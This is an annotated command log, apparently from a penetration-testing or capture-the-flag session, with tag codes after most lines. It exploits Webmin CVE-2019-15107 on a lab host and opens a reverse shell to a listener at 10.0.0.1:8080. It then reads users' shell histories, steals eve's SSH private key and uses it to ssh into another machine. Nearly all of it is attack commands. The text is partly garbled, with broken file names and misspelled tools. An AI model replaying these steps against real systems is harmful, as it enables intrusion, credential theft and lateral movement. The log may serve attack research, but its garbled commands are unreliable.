```
nmap A0 A1
                                        nmap A0 A1
                                         ifconfig U
                                       nmap -h A0 A1
                                           curl U
                                         ifconfig U
                        git clone github.com/jas502n/CVE-2019-15107 U
                     git clone https://github.com/jas502n/CVE-2019-15107 U
 ls A10
                                         ls -la A10
                       drwx----- 3 root root 4096 Apr 7 11:39 .gnupg U
                        drwxr-xr-x 3 root root 4096 Jul 15 09:27 .local U
                       drwxr-xr-x 2 root root 4096 Jul 15 09:27 Music U
                      drwxr-xr-x 2 root root 4096 Jul 15 09:27 Pictures U
                     git clone https://github.com/jas502n/CVE-2019-15107 U
                                            cd U
                                           ls A10
                                    cd CVE-2019-15107/ U
                                           ls A10
 ncat -l 8080 A1 A9 A11 A12 A17
                           sudo apt install neat A1 A9 A11 A12 A17
                               ncat -l 8080 A1 A9 A11 A12 A17
                               ncat -i 8080 A1 A9 A11 A12 A17
                               ncat -l 8080 A1 A9 A11 A12 A17
 python CVE 2019 15107.py http://172.18.1.5:10000 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1' A13
                  python CVE_2019_15107.py http://172.18.1.5:10000 'id' A13
   python CVE_2019_15107.py http://172.18.1.5:10000 'cat ./.bash_history' A11 M11 A12 A13 A17
       python CVE_2019_15107.py http://172.18.1.5:10000 'cat home/eva/.bash_history' V11
       python CVE 2019 15107.py http://172.18.1.5:10000 'cat home/bob/.bash history' V11
     python CVE 2019 15107.py http://172.18.1.5:10000 'cat home/debian/.bash_history' V11
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls home/debian/' A10 A13
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/debian/' A10 A13
               python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la' A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'cd /home ; ls' A10 A13
                                 module.info.pt_BR.UTF-8 U
                                   module.info.ru.UTF-8 U
                                    module.info.ru_RU U
                                 module.info.ru_RU.UTF-8 U
                                    module.info.ru_SU U
                                      module.info.sk U
                                   module.info.sk.UTF-8 U
                                      module.info.sv U
                                   module.info.sv.UTF-8 U
                                      module.info.tr U
                                    module.info.zh_CN U
                                  module.info.zh\_TW.Big5~U
                                        negativeacl U
                                        openssl.cnf U
                                       postinstall.pl U
                                       save_acl.cgi U
                                      save_group.cgi U
                                       save pass.cgi U
                                       save_sql.cgi U
                                       save_sync.cgi U
                                     save twofactor.cgi U
                                       save unix.cgi U
                                      save_user.cgi A4
                                        schema.cgi U
                                        switch.cgi U
                                      system_info.pl U
                                       twofactor.pl U
                                    twofactor_form.cgi U
                                   useradmin update.pl A4
                                      webmin.schema U
          python CVE_2019_15107.py http://172.18.1.5:10000 'cd /home ; ls -la' A10 A13
                          rwxr-xr-x 6 root bin 12288 Jul 4 2019 . U
                         drwxr-xr-x 132 root bin 12288 Jul 4 2019 .. U
               drwxr-xr-x 3 root bin 4096 Jul 4 2019 Authen-SolarisRBAC-0.1 U
             python CVE_2019_15107.py http://172.18.1.5:10000 'cd /; ls -la' A10 A13
             python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home' A10 A13
           python CVE_2019_15107.py http://172.18.1.5:10000 'ls /home/alice' A10 A13
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/alice' A10 A13
         python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/debian' A10 A13
        python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/eve' A10 M10 A13
      python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.bash_history' V11
                                          ervices U
                    echo '81.2.195.254' >> ~/top-secret/too_dangerous.txt U
                                        2.195.254 U
                           cat /etc/services A1 M1 A9 A11 A12 A17
                              less /etc/services A9 A11 A12 A17
      python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/bob/.bash_history' V11
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/bob' A10 A13
       python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.bash_history' V11
                                     ssh 10.1.18.22 A16
                                     ssh 10.1.17.4 A16
        python CVE 2019 15107.py http://172.18.1.5:10000 'ssh eve@10.1.17.4' A16 M16
python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh' A1 A9 A11 A12 A13 A16 A17
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls /home/eve/' V10
python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh' A1 A9 A11 A12 A13 A16 A17
       python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.bash history' V11
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls /home/eve/' V10
          python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/bob' A10 A13
            python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/eve' V10 \,
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/eve/.ssh/' V10
python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id_rsa' A12 M12 A13 A16 A17
                                       touch id_rsa U
                                        nano id rsa U
      python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id rsa.pub' V12
                                     touch id_rsa.pub U
                                      nano id rsa.pub U
                                   ssh eve@10.1.17.4 V16
                                           cd .. U
                                           ls A10
                                        cd .ssh A16
                                           ls A10
                                         ls -la A10
                                 chmod 600 id rsa A15 M15
                                         ls -la A10
                                   ssh eve@10.1.17.4 V16
                                    gpg2john id_rsa A14
```

scp -r \* eve@10.1.17.4:/home/eve/ U

ifconfig U

nmao U